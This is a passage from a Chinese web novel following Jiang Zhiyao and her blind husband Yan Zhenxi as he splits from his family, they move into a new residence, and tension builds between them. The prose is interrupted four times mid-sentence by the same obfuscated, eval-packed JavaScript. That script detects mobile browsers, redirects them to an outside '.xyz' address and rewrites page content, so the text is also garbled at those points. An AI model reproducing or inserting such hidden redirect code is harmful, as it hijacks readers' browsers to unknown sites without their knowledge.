一路闯到了晏枕溪的书房里，于是就有了刚刚在书房里发生的一幕。 “你是不认我这个哥哥，对吗？” 晏照一赶到门口，就听见了晏枕溪的这一句话，接着他又听见晏赐应回答：“是！” 晏照差点一口气没提上来，不是让他不要去找晏枕溪麻烦吗？ 他刚要走进去又听见晏枕溪说：“好，既然如此，那我们分府吧。” 宛如平地起惊雷，晏照甚至踉跄了一下，随后无比惊讶地问：“你说什么？” 若是平常人家，分府也不会引起太大的轰动，但这可是晏家，要是真的分府了不知道别人会怎样在后面编排。 尤其是现在大家都知道晏赐应做出来的蠢事后。 而且晏枕溪是京城里最有名的贵公子，道德品行都备受夸赞，到时候分府不但不会有人谴责晏枕溪不守孝道，反而会在背后猜测他晏家到底对晏枕溪做了什么，才逼得晏枕溪不得不分府。 想清利害后，晏照连忙劝道：“枕溪啊，别说胡话了。” “分府好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901194|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。”晏赐应则一脸喜色。 “闭嘴。”晏照闭了闭眼，当着大家的面狠狠打了晏赐应一巴掌，响声回荡在书房里，“怎么和你大哥说话的！” 晏赐应的脸上原本就有伤，现在又被打了一巴掌，感觉整个脸立马肿了起来。 晏赐应更是委屈：“爹！” 他今天竟然被爹打了两个巴掌！ 姜知瑶看着晏赐应肿成猪头的脸，没忍住无声地笑弯了眼。 晏照没理他，急切恳求地看着晏枕溪：“是你弟弟不懂事，我会管好他的。” 见晏枕溪没有回应，晏照越发着急：“枕溪啊，你有什么要求都可以好好说。” 晏枕溪轻声说道：“父亲，我已经决定好了。”口气带着些许不容置喙。 晏照颓然弯下腰，他其实也明白，晏枕溪竟然说出口了，那肯定是早就决定好的，不容回转。 沉默了几十秒后，晏照转身要离开书房，看到一旁站在原地的晏赐应又生起气来：“还不跟我一起走？！” 离开的路上，晏赐应忍不住问道：“父亲，他分府不好吗？” 晏照已经生不出气了，只有深深的无力感。 蠢货，他以为如今没有了晏枕溪的晏府，还能叫晏府吗？ 晏枕溪早已有了晏府家主之实，而且不仅是晏府，估计他也已经在外发展了势力，眼瞎也怕只是权衡之计。 晏照突然有些迷茫，这些年来，他是不是真的做错了。 - 书房里，姜知瑶和晏枕溪还在。 晏枕溪望向姜知瑶：“夫人，你会觉得我太无理取闹了吗？” “怎么会？”姜知瑶立即说，“你肯定有自己的原因。” 光明面上晏家就这样欺负他，不知道暗地里更是欺负成了什么样，对于要分府这件事，姜知瑶其实当时听到有些开心，而且这样以后就不用看到晏赐应了。 “多谢夫人体谅。”晏枕溪微弯了下嘴角。 “如今我不但双目失明，还不是了晏家人……” 姜知瑶没等晏枕溪说完就回应：“没关系的，我不在意这些，而且在晏府也没多好。” 平时的吃穿住行都靠不上，而且听见晏枕溪那样说自己，姜知瑶就心里有些酸涩。 “那就好，以后府中的事项都交由夫人掌管了。” “好。”姜知瑶点点头。 不过管一个小宅子嘛，这个她应该还是可以做到的。 “对不起。”晏枕溪突然对姜知瑶很认真地说了声抱歉，“这件事之前没有和你一起商量，我自己就贸然决定了。” “啊。”骤然听见晏枕溪的道歉，姜知瑶有些惊讶，随后说道，“没关系的。” 晏枕溪往姜知瑶走去，站立在离姜知瑶还有半臂远的地方，轻轻揉了揉姜知瑶的头顶：“以后不会让你受委屈了，如果还会遇到晏赐应，不用理他，他要是找事你直接让人打一顿就好了。” 被晏枕溪触碰，姜知瑶一时僵住了，然后脑海里想的是，还好来之前已经沐发过了。 最后才反应过来他说的话。 “好，好。”姜知瑶有些结巴地回应晏枕溪，仰头看向他。 盯着晏枕溪那俊美温柔的脸庞，姜知瑶突然有些迷迷糊糊，要是再近一点会怎么样？再过分一点又会怎么样？他还会像现在一样温柔吗。 意识到自己的想法后，姜知瑶咬了下舌尖让自己清醒过来，垂眸看向自己的裙摆。 14. 新府邸 姜知瑶看着广阔的府邸，很是惊讶，原本还以为只是那种小宅子。 眼前是精致的阁楼轩斋，弯曲曲折的廊桥，花园里各式各样的花朵，高大的树木和乔木错落有致，看起来自然的石山流水坐落在一旁的池塘边，池塘里是大片的荷花。 姜知瑶走了有小半个时辰都还没有将这座府邸给逛完。 距离上次在书房里的吵闹已经过去了一个月，今天一大早姜知瑶带着东西，跟着晏枕溪来到了这个新府邸。 南枝不禁跟在姜知瑶身后小声呼叹：“小姐，我怎么觉得这里和晏府比也不差不了多少啊？” 不过是有一点不一样的，这个府邸完完全全只属于姜知瑶和晏枕溪两个人。 姜知瑶逛完后回到了晏枕溪的身边，晏枕溪察觉到她过来后侧身笑问：“夫人，还可以吗？” “可以可以。”姜知瑶连连点头。 这个府邸虽然没有晏府那般大，但姜知瑶觉得这里的阁楼和一些景观甚至要比晏府还精致上许多。 “那府上的中馈就交由夫人了。” “啊。”姜知瑶反应过来连连摆手，“不，还是不了，我之前没想到这里……”这么大。 这样大的府邸，若是掌管中馈，平日里维护宅院所需要的下人们，还有府中的开销花费等，想想就让人觉得头疼，姜知瑶觉得自己做不好。 虽然之前跟着纪姐姐学过，但姜知瑶从来没有实际管理过这些，所以她一点信心都没有。 “夫人。”晏枕溪唤她，“不要紧的，这里日后就是我们二人共同的住所了，你就是这里的主人，想怎样做都可以。” 见姜知瑶还是迟疑不定，晏枕溪开口说：“许叔之前是院中的管家，现在是这里的临时管家，有什么不会的都可以去问他。” 许叔是从原来的晏府上跟过来的，他现在正站在晏枕溪的侧后方，闻言向姜知瑶轻点了一下头：“夫人。” “以后府上的事就都交给夫人了，不管做了什么都不要紧的。”晏枕溪对着姜知瑶认真地说到。 姜知瑶过了好几秒后回应道：“……那我试试吧。” 账房里。 “这么多？”姜知瑶看着手边厚厚几叠的地契房契和店铺惊呼道。 虽然之前晏枕溪每个月都会给姜知瑶一百两的月例，但她对晏枕溪有钱这个概念还不是很清晰，如今看着手中的那些全是京城繁华地段的店契，姜知瑶才有了些实感。 都是因为平时看着晏枕溪穿着素净，才给了姜知瑶一种晏枕溪不是很有钱的错觉。 但看着账本上记录的晏枕溪那些衣服和服饰的花费，姜知瑶不禁咂舌，原来这么贵啊，就连发冠上的一个小小配饰都价值连城。 接下来的一段时间，姜知瑶都一直在学着掌管府中的各个事项，虽然一开始有些手忙脚乱，但很快姜知瑶就熟悉了起来，一切都变得井井有条。 - “瑶瑶。”程明珠抱怨道，“你最近真的好忙啊，我们都好久没在一起玩了。” 纪婉清：“这是好事，我们的瑶瑶开始管家了。” 今天姜知瑶好不容易得闲，就请了纪婉清和程明珠来府上。 “对了，所以到底为什么分府啊？”程明珠好奇地问道。 京城里关于这件事的议论纷纷，都在猜测到底出了什么事。 晏枕溪对外的说辞很是书面，字里行间也看不出什么异样，把错由都归到了自己身上，说是什么性格不合，有违孝道，只字未提有关其他人的事。 但越是这样，大家就越是好奇，觉得肯定是晏赐应太过分做了什么，又或是晏照太过偏袒次子，又或者是顾兰茹做了什么谋害的事情，各种猜测层出不穷。 姜知瑶摇摇头：“我也不知道。”她知道的说不定都没有其他人多。 “不能吧，分府这样大的事情，肯定有个由头。” “就是那天晏赐应来书房和他闹，晏枕溪便说要分府了。”姜知瑶如实的把那天的事情说了出来。 “啊？”程明珠挠了挠头，没想到还是因为自己找人把晏赐应打一顿的事竟然被他怀疑到了晏枕溪身上。 “做得好。”纪婉清在旁边肯定道，原本她还觉得程明珠找人去的行为有些莽撞，没想到最后竟促成了分府。 日后姜知瑶就不必再看晏府那些人的脸色了，倒是一件好事。 “但就只有这个吗？”程明珠还是有些不相信。 姜知瑶继续摇摇头，她真的不知道了。 见状程明珠也没有再问下去，之前晏枕溪还是京城里的大红人时，晏府都那样对待晏枕溪，有次顾兰茹竟想派人在宴会上给晏枕溪下药，虽然最后没出什么事，但也让人觉得离谱。 更何况现在晏枕溪双目失明，估计是如今实在受不了他们了吧。 “哇！”走到府上的花园后，程明珠看着眼前的景象赞叹道，“好好看啊。” 纪婉清点点头：“花园的布局，所选的花种，旁边的池塘假山，池上面的桥和旁边的亭子结合在一起看上去很舒适美观。” 姜知瑶笑了起来，眼睛弯成了月牙：“好看吧，这里是我设计的。” 其实她不用亲自管府上的布局，想要改动哪里只需要吩咐其他人去做就好了，但姜知瑶还是专门重新安排了下花园，虽然原本的花园也好看，但姜知瑶就是想要自己布置的。 她以前就一直想有一个自己的花园，如今也是实现了，就是，要是娘亲在就好了。 姜知瑶只稍稍怅惘了一下，便很快让愁绪飞走，看向纪婉清和程明珠两人。 不出她所料，纪婉清和程明珠都纷纷称赞道。 姜知瑶听着耳边的夸赞，脸上的笑意越发明显：“以后我们就可以经常来这里玩了。” 之前住在原本的晏府上时，姜知瑶觉得不太好也不太方便请纪婉清和程明珠来，但以后就不一样啦。 府中很大，姜知瑶平日都不怎么见得到晏枕溪，想必在府上玩也不会闹到他。 她也问过晏枕溪，晏枕溪并不介意，姜知瑶就也没有什么其他的顾虑了。 看着眼前比以往要活泼一些的姜知瑶，纪婉清脸上划过一丝轻浅的笑意。 在最初打算重建花园的时候，姜知瑶去问了晏枕溪，怕他觉得没有必要。 晏枕溪回她：“我都听你的。” 姜知瑶一开始也有问晏枕溪对于一些花园内的布置有什么喜好和想法，但最后问着问着，姜知瑶都会在晏枕溪轻声询问中说出自己的喜好。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901195|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>后面姜知瑶就慢慢都放开了，最后这个花园可以说完完全全是按照姜知瑶自己的喜好来布置的。 姜知瑶看着眼前的花园，很是满意。 姜知瑶和纪婉清程明珠三人在花园里玩了一下午，乘凉，赏花，喂喂鱼，打打叶子牌，说说话，时间很快就过去了。 到了晚膳的时候，大家都还是有些意犹未尽。 “你们留下来用膳吧。”姜知瑶提议道，纪婉清和程明珠都很快就答应下来。 - 晏枕溪看着眼前丰盛的菜肴和一旁空荡荡的座位，问道：“夫人呢？” “大人，夫人今天请了纪小姐和程小姐来府上，现在在和她们一起用膳。” 是了，之前姜知瑶派人来和他说过了。 晏枕溪微皱起眉心，有些食不知味，没一会就放下了筷子。 自从搬到了这个府邸后，因为第一天有些忙碌，姜知瑶就和晏枕溪一起用了晚膳，后面两人都心照不宣的在一起用膳。 晏枕溪原本是很不喜和旁人一起用膳的，但如果是姜知瑶，他觉得也不是不可以。 如今一段时间相处下来，晏枕溪早已习惯了姜知瑶在他身旁，细微的碗筷碰撞声，余光中她的身影，都莫名的让晏枕溪安心。 现在不在倒是让晏枕溪这个之前独自用膳许多年的人不习惯了起来。 回到书房后，晏枕溪叫来了许叔，许叔告诉了他这段时间姜知瑶的进度和成果。 最后许叔说道：“夫人很聪慧，许多东西一点就通。” “是吗？”晏枕溪薄纱覆盖下的眼底染上笑意，语气中带着些他自己都没察觉到的与有荣焉。 哪怕是他自己被当今大儒夸赞的时候，都不会有现在这般真情实意的笑意。 许叔退下后，没过一会门口传来了敲门声。 “夫君？”是姜知瑶的声音，敲过几下后，姜知瑶便推门进来了。 “我听说你晚上没吃什么，是夏日里没有胃口吗？”姜知瑶有些担忧地问道。 “嗯。”晏枕溪点头应下，然后问道，“夫人今晚用膳可还好？” 姜知瑶一时没有开口，毕竟她刚刚实在吃的很香，尤其因为和纪婉清她们一起用膳，说笑间竟比往常还要多吃上小半碗。 “我已经让厨房再温下菜了。”姜知瑶答非所问，声音有些小。 “那夫人留下来陪我再用一次膳，可好？”语气带上些许笑意。 “好。”姜知瑶很快就应了下来。 不多时，几小碟菜被送到了书房，姜知瑶坐在一旁，托腮看着晏枕溪吃了起来。 修长的手指拿起玉筷，手背上青筋安静地伏在白皙的皮肤下，透露出隐约的欲气。 筷子夹起菜被送进唇里，微微张开的薄唇色泽红润艳丽，筷尖离开时，姜知瑶甚至注意到了上面沾染着的水色。 意识到自己又想了什么后，姜知瑶脸颊发烫，像是做了什么坏事一般连忙坐直身体。 有些懊恼，不明白自己为什么总是对着晏枕溪这样，一而再再而三的。 姜知瑶移开视线，眼神落在晏枕溪身后的书架上。 他这里书可真多啊，当时搬府的时候光这些书都得搬许久吧，姜知瑶漫无边际地想。 15. 下棋 在看过书架后，姜知瑶又把视线投向其他地方，书桌，椅子，正当她细细看屏风上的图案时，晏枕溪出声了。 “夫人，我好了。”晏枕溪拿起一旁的手帕慢条斯理地擦了擦嘴。 感受到姜知瑶的视线重新回到自己身上后，晏枕溪微不可察地勾起些嘴角。 “那我帮你拿出去吧。”姜知瑶伸手就要将桌上的碗筷给端走。 “不用。”晏枕溪温声说道，竟稳稳地抓住了姜知瑶的手腕，“夫人再留下来陪我一会吧。” 姜知瑶像是被烫到了一样，手瑟缩了一下，然后有点不自然地开口：“那，那我让其他人进来拿走。” “好。”晏枕溪松开了抓住姜知瑶的手，“来下棋吗？” “我棋艺不是很好。”姜知瑶有些羞赧地说道。 “无妨，只是消遣，夫人不嫌我慢就行。” 姜知瑶坐在棋盘的对面，看着正在下着的棋局，有点犯难。 她棋艺是真的差，并不是在谦虚，和程明珠下也十有八九输，而晏枕溪的棋艺在京城则是出了名的好，甚至有时都被叫进宫中陪圣上下棋。 姜知瑶咬住些唇，聚精会神地看着，琢磨下步棋该下哪里。 不过好在晏枕溪下棋前有时要先摸下棋盘，时间有些长，所以姜知瑶可以多想一会。 下完一步棋后，姜知瑶都会告诉晏枕溪她下在哪里了，每当这个时候她都会看着晏枕溪的表情，试图找出些破绽。 不知为何，听闻向来泰山崩于前而色不变的晏枕溪，竟然在姜知瑶每次窥探时都会露出些许表情。 虽然不明显，但足以让姜知瑶看清。 通过看晏枕溪的表情，姜知瑶就能知道自己这步棋下没下对，若是没有，下一步姜知瑶就会更加慎重。 第一盘下来，姜知瑶赢了。 “诶？”姜知瑶自己都有些不可思议，她居然下赢了晏枕溪？ “夫人厉害。”晏枕溪浅笑着说，语气中听起来没有一丝勉强之意。 姜知瑶心里也有些小小的雀跃，对接下来的棋局也更加期待，原本一开始几丝不愿意的情绪早已烟消云散。 又连下了几局后，时间越来越晚，姜知瑶还有些意犹未尽。 但看着一旁快燃尽的灯芯，姜知瑶说道：“夫君，到休息的时间了。” 闻言晏枕溪收起棋子：“和夫人下棋很愉快呢，夫人下次还愿陪我下吗？” 姜知瑶点点头：“愿意的。” “夫人若是无聊，可以随时来找我。” “好。” 次日下午。 姜知瑶来到晏枕溪的书房前，敲了敲门：“我进来了？” 进去后才发现，晏枕溪在轩窗旁的躺椅上睡着了。 温和的阳光透过窗户笼罩在晏枕溪身旁，空中飞舞的小尘埃都清晰可见，贵公子即使睡着了还是和往常一般清秀俊美，如画一般。 他此时没有带眼纱，慵懒地半躺着，和以往矜贵的形象有些不同，现在的晏枕溪一副放松的姿态，很好的中和了原本让人觉得有些高不可攀的气质。 晏枕溪其实在姜知瑶刚敲门的时候就醒了，但莫名的，他并没有起来，而是做了件他自己都想不通的事情，装睡。 他听到姜知瑶的脚步声越来越近，明明姜知瑶已经刻意放轻动作。 察觉到头顶的阳光消失，他清楚的知道那片挡住太阳的阴影是什么。 他感觉到有股气息和馨香离他越来越近，甚至近到喷洒在他的脖子上，连肌肤都在颤栗。 心中有隐隐约约的期待与渴望，此时消失的视野和被遮住的阳光更加滋长了这份欲望。 就在两人距离越来越近，晏枕溪心中的鼓点声响到最大时，姜知瑶远离了。 连带着她身上那股好闻的茉莉香也一起随之远离。 晏枕溪感受到身上原本有些滑落的毯子被她拎起，重新覆盖住了自己的身体。 阳光重新出现，房门传来一声吱呀声，姜知瑶离开了。 晏枕溪倏然睁开眼，气息加重，宽大的手掌攥紧一旁的毯子，不明白自己在失望些什么。 空气中还残留着一些她身上的馨香。 另一旁。 姜知瑶抵在自己房间的门上，满脸通红。 好险，刚刚自己差点就要亲上去了。 原本发现晏枕溪睡着的时候，姜知瑶是不打算进去的，但是在看到他身上的毯子滑落了些后，姜知瑶便想着进去帮他拉下毯子就离开。 但离晏枕溪越近，他那双昳丽不设防的脸姜知瑶就看的越清。 在离那双红润的唇只差一寸的时候，姜知瑶清醒了，将毯子拉上去后便仓皇离开。 不行，这回是真的要离晏枕溪远点了。 - 那天过后，姜知瑶就没有再主动找过晏枕溪了，就连平日里的用膳，姜知瑶都推脱没有再和晏枕溪一起。 晏枕溪一开始还会派人来问姜知瑶，是不是胃口不好，但三番五次的被姜知瑶拒绝后，晏枕溪也没有再派人过来了。 这段时间来原本和晏枕溪拉近的距离，现在又被姜知瑶陡然拉开。 姜知瑶有时用膳的时候都有些恍然，晏枕溪不在身边了，原本夹起向一旁的菜又被她落回自己的碗中。 但这样或许才是最好的吧，晏枕溪越是纵容，姜知瑶就越是不知足，她是真的很怕自己有天会越过那条底线，这样恐怕连表面夫妻都做不得了。 晏枕溪的纵容不过是他性子好而已，自己是万万不可由此心生妄念的。 姜知瑶时常这样告诫自己。 晏枕溪不明白，为什么姜知瑶开始躲着自己了。 之前哪怕遇到再困难的问题，他都可以从容的迎刃而解，但对于此，他却一筹莫展。 他也不明白自己对姜知瑶的态度，他从未对一个人如此好奇和包容，以及他自己不愿意承认的，发自内心的喜爱。 他可以轻易的分析出那些朝堂上各怀鬼胎的人心中所想，却剖析不出自己的内心。 在他派去邀请姜知瑶用膳的人几次铩羽而归后，晏枕溪放弃了。 是不喜欢自己的靠近吗？晏枕溪皱眉不解。 但晏枕溪没有丝毫想亲自去找姜知瑶的想法，高高在上的贵公子，向来都是旁人来奉承他的，唯有对自己有利益的人，晏枕溪才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901196|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会主动一点。 而且旁人对于他的主动，只需稍微一点，绝大多数人便会给予晏枕溪更大的主动。 她不来就算了，在又一次食不知味后，晏枕溪有些烦躁的想到。 但鬼使神差地，晏枕溪每次回府都会往姜知瑶常在的地方经过。 有时看到的是姜知瑶紧闭的房门，有时是小厨房里露出的点点灯关，有时是花园里的欢声笑语。 就算迎面碰上了，姜知瑶也只会毕恭毕敬的和晏枕溪行个礼，然后再离开。 这样避之不及的态度，让晏枕溪很是郁闷。 他连之前有些亲近的相处状态都不满足，又怎会甘心于现在这种相敬如宾的态度。 这不是他最开始希望的吗？他对妻子的人选从来都没有要求，只是希望能不要来打扰他就好，但为何现在，他会感到失落。 当路过看到姜知瑶笑的时候，晏枕溪都会后退一步，让自己隐在阴影里，就在原地看着姜知瑶那从来没有对他露出过的放松姿态。 直到姜知瑶离开他的视野。 每次看的时候，晏枕溪都会在心里暗暗期待姜知瑶的目光会向自己的方向投来，希望她会发现自己。 但是发现后了会怎么样呢？她肯定会一开始有些小小的惊讶，收起笑容向他走过来行礼，然后再离开。 而他就只能又一次看着她的背影消失在一旁转角的走廊处。 想到这里，晏枕溪就又不希望姜知瑶发现自己了。 晏枕溪发现自己像个瘾君子一样，每天期待着路过这时能够看到姜知瑶，看到后，心中的躁动和渴求便会暂时消退，但过后，那股渴求又会卷土重来，甚至更加强烈。 他现在对姜知瑶什么时候会出房间到花园散步，什么时候去小厨房的时间一清二楚。 跟在晏枕溪身边的暗卫觉得他的大人最近有些奇怪。 新搬来的晏府上下全部都是晏枕溪自己的人，而大人所谋划的朝堂之事也已进行的差不多，最多在几个月内便可以结束。 但大人在府上还是一如既往地带着他的眼纱，哦不，只是在夫人面前带着。 是还不放心夫人吗？暗卫觉得不像。只是因为谨慎吗？暗卫觉得也不是，毕竟大人现在在其他人面前要比之前更加肆意一些，多年的布局让他早已渗入朝堂的方方面面，即使现在有人知道了他的谋划，也不能动摇这个计划分毫。 若说之前只是有一点奇怪，自从夫人不再和大人一起用膳后，就变得非常奇怪。 大人虽然行事有些不择手段，但向来还是不屑于亲自做那些有违自己身份的腌臜之事，哪会像现在这样，在暗处一言不发地紧盯着一个人，就像一个暗卫一样。 暗卫不理解，大人是想夫人了吗？那为什么从来不主动去找找夫人。 虽然当时这场婚姻不过是阴差阳错，但这段时间下来，暗卫还是第一次看到大人对一个人如此特殊，夫人对大人也不像是无意的样子。 晏枕溪动了，暗卫立马停止了脑海里的编排和猜想，沉默地跟着晏枕溪一起离开。 暗卫回头看了一眼原本晏枕溪盯着的地方，果然，现在夫人已经不在那里了。 16. 留宿 “夫人现在不在府上吗？”在房间和花园都没有见到那个身影后，晏枕溪问身后的侍从道。 侍从低头回答：“是的大人，今早夫人就出府了。” “她最近都不在府上？” “夫人近来白天都不怎么在府上。” 是因为在府上玩腻了吗？这几天都没有看到她了，晏枕溪心里有些闷闷的，怎么自己好像一段时间没见她就会不舒服。 姜知瑶此时正在茶楼上，心不在焉地听着说书。 纪婉清今日有事，所以她只和和程明珠约好了在茶楼上见面，但程明珠还没来。 她这些天都没有邀请纪婉清和程明珠到府上去玩了。 近来不知为何，总是感觉有道不容忽略的视线落在她身上。 但每次顺着感觉望去，都只能看到柱子抑或是什么其他的树木。 有时那道视线很久地注视着自己，有时又很短暂，让姜知瑶以为那不过是错觉。 前些天和纪婉清他们在花园玩的时候，姜知瑶又察觉到那道视线了，她用余光望去，发现不远处的花丛后，有道月白色的身影。 花丛隐隐约约透出那个一动不动的身影，乍一看有些渗人。 仔细看，竟是晏枕溪，他怎么站在那里？晏枕溪正面对着自己，姜知瑶有一瞬起了些疑心，但转眼又想到了他那覆在面上的眼纱，姜知瑶失笑。 怎么可能会是他呢，许是晏枕溪平时看起来都很从容，确实有时会让姜知瑶忘记他双目失明的事情。 姜知瑶没有再管，觉得肯定是自己最近太疑神疑鬼了，继续和纪婉清玩闹着，但那股视线却更加强烈了，让姜知瑶不免有些不自在了起来。 等过一会姜知瑶再往那个方向看去，晏枕溪的身影已经不见了。 会不会是因为太吵了？姜知瑶想，虽然花园离书房有些距离，但听说双目失明的人听觉会格外灵敏一些。 虽然晏枕溪没和自己提到过，但想来还是会影响到他的吧，说起来，好像也没见过晏枕溪邀请他的友人来府上。 想到这里姜知瑶不免有些觉得不好意思，所以最近她都出来玩了。 “瑶瑶。”是程明珠声音，“你每次都来的好早啊。” 看着程明珠稍显疲惫的样子，姜知瑶问道：“昨晚没有睡好？要不要助眠的香囊？” 程明珠坐下给自己倒了杯茶，打了个哈欠：“没事不用了。” “楚玉昨晚办了个宴会，散的比较晚。” 喝了口茶后又说道：“我还以为你也会去，上次在你府上看到请帖了，没想到竟然在宴会上没找到你，只找到了纪婉清。” “楚小姐吗？”姜知瑶想了想，“好像是给了请帖，但是给晏枕溪的。” “她还没死心吗？”程明珠一提到这个就不困了，“诶，我昨晚好像确实看到了晏枕溪。” 她那个时候还在和纪婉清疑惑说怎么姜知瑶没一起来呢。 “那岂不是他赴宴不仅没有带你，还没告诉你？！”程明珠逐渐语气拔高。 “他怎么可以这样？那楚玉……”程明珠越说越气愤。 楚玉爱慕晏枕溪，是之前京城里人人皆知的事情。 和其他人含蓄胆怯地表达爱意不同，楚玉每次都大胆又热烈，尽管每次晏枕溪都拒绝了，但她还是锲而不舍，经常在宴会或者其他大庭广众之下对晏枕溪表达爱意。 在晏枕溪眼睛受伤之后，楚玉就慢慢消停了，可能也有晏枕溪后面没怎么去参加宴会的原因。 “不是啊，这个晏枕溪，我爹之前举办宴会的时候他都推脱不去，怎么这个楚玉的宴会他就去了？” “我也不知道……可能是有事情吧。”姜知瑶摇头说道。 她知道楚玉，之前在宴会上遇到过她表白晏枕溪的场景。 少女笑容明媚，就连姜知瑶看了都不经恍神了一瞬。 姜知瑶看到只觉得羡慕，羡慕楚玉的大胆和自信，虽然晏枕溪很冷静自持地拒绝了，但楚玉看上去也没有丝毫的后悔或者失落。 若说当时如果晏枕溪答应了，姜知瑶怕也不会觉得有什么，只会觉得两人相配，郎才女貌，姜知瑶知道了也只会拍手祝贺。 因为那时晏枕溪与她毫无交集，唯有姜知瑶自己心里一丝绮丽的遐想与少年慕艾。 但现在，在知道晏枕溪独自去赴她的宴后，姜知瑶心里则是闪过一丝连自己也觉得讨厌的酸涩感，尽管很快就被她压下去了。 她知道晏枕溪去肯定是有事情，以晏枕溪的性子，他和楚玉之间绝对不会有什么私情，虽然知道是知道，但姜知瑶还是觉得心里有些闷闷的。 “也没说要他避嫌，但好歹和你说一声吧？”程明珠此时对晏枕溪的印象简直是跌入了谷底。 “没事，他肯定是因为有自己的事要忙。”姜知瑶转移话题道，“今天茶楼里换了一个说书先生欸，你来晚了，他讲的是最近刚出的那个……” - 临近黄昏，今天午膳姜知瑶都是和程明珠在外面用的，现在已经到了要姜知瑶平时要回府的时候了。 “瑶瑶，好瑶瑶。”程明珠摇着姜知瑶的手臂说道，“我不想你离开嘛。” “一周只能和你见那么两三面，我简直想每天都和你待一块。” 真是遗憾，要是姜知瑶是自己的姐妹就好了，程明珠时常这样想。 “反正你平时不是和晏枕溪分房睡吗？你今天就去我府上用膳留宿吧。” 见姜知瑶有些犹豫而不是一口回绝，程明珠就知道有戏，她继续软磨硬泡道：“就一次好不好嘛，我们都已经好久没有在晚上一起聊天了。” 果然没过一会姜知瑶便应下：“好。” 就去一次应该也不要紧吧，她也很喜欢和明珠待一起，而且不知道为什么，她现在其实也不太想回去。 “瑶瑶真好。”程明珠笑弯了眼。 以往都是程明珠到尚书府留宿，今日还是第一次姜知瑶来到程府留宿。 在应付完父母后，程明珠躺进被窝里和姜知瑶开始聊起了天：“瑶瑶，你知道吗？听说那家的……” 直到天快蒙蒙亮的时候，二人才沉沉睡去。 “好哇，你们两个竟然背着我。” 被纪婉清从被窝里捞起来的时候，姜知瑶还有些迷迷糊糊的：“纪姐姐……” 因为昨天两人睡的晚，今早自然就起晚了，纪婉清直接找到程明珠的府上了。 她们之间关系近，两府的人都是知道的，纪婉清进来只需说一声就行了。 程明珠坐在一旁说道：“谁让你昨天没和我们一起。” “我一不在你就把姜知瑶拐回家了？”纪婉清挑眉问道。 “好了，睡都睡完了。”程明珠故作轻佻地说道，“要不今晚我们三一起睡一次？” 姜知瑶被程明珠的话说的脸红了起来。 “天天就知道说这些玩笑。”纪婉清轻嗔道。 “要不我们今天去花楼里玩吧！”程明珠突然两眼放光道。 “不行。”姜知瑶立马摇头，“我现在要回去了。” “诶呀，瑶瑶。”程明珠手搭上了她的背，“又没人催你回去，你这么着急干嘛啊。” “说起来，我也还真的有点想去了。”纪婉清摸了摸下巴说道，“许久未去了，上次去还是在一两个月前。” 姜知瑶犹豫了，她其实也有点想去，但这种夜不归宿的事还是让姜知瑶心里有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901197|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不自在，总感觉好像做了什么坏事。 “晏枕溪去做什么不也是没告诉过你吗？”程明珠看穿了姜知瑶在想什么，继续劝说道，“你今晚回去就好了。” 回想起花楼里好吃的糕点和香香软软的姑娘们，姜知瑶动摇了。 算了，反正都已经在外面留宿过一晚了，再晚点回去也不要什么紧吧。 “那就去吧。”姜知瑶最终应下。 - “夫人还没有回来吗？”晏枕溪坐在桌前问道，桌上布满了色香味俱全的菜肴。 白天没有见到姜知瑶后，晚膳时间，晏枕溪决定再去邀请姜知瑶一起用晚膳。 姜知瑶每次就算出去玩，到了用晚膳的时候都会回来。 若是姜知瑶又拒绝他派去的人，那他就亲自去邀请，晏枕溪对今晚能和姜知瑶一起用膳的事很有把握。 今天桌上的菜是晏枕溪精心挑选的，他还请了京城里最好的厨子来，说不定就能让姜知瑶喜欢上菜的味道，重新和他一起用膳呢。 但唯一让他觉得有些意料之外的，身后的侍从摇了摇头：“还没有。” 又等了一刻钟后，门口走进来了一个小厮：“夫人派人来说她今晚宿在程小姐家，不回来了。” 晏枕溪停顿了几秒问道：“你确定吗？” “是夫人身边的一个侍女回来说的。”小厮回道。 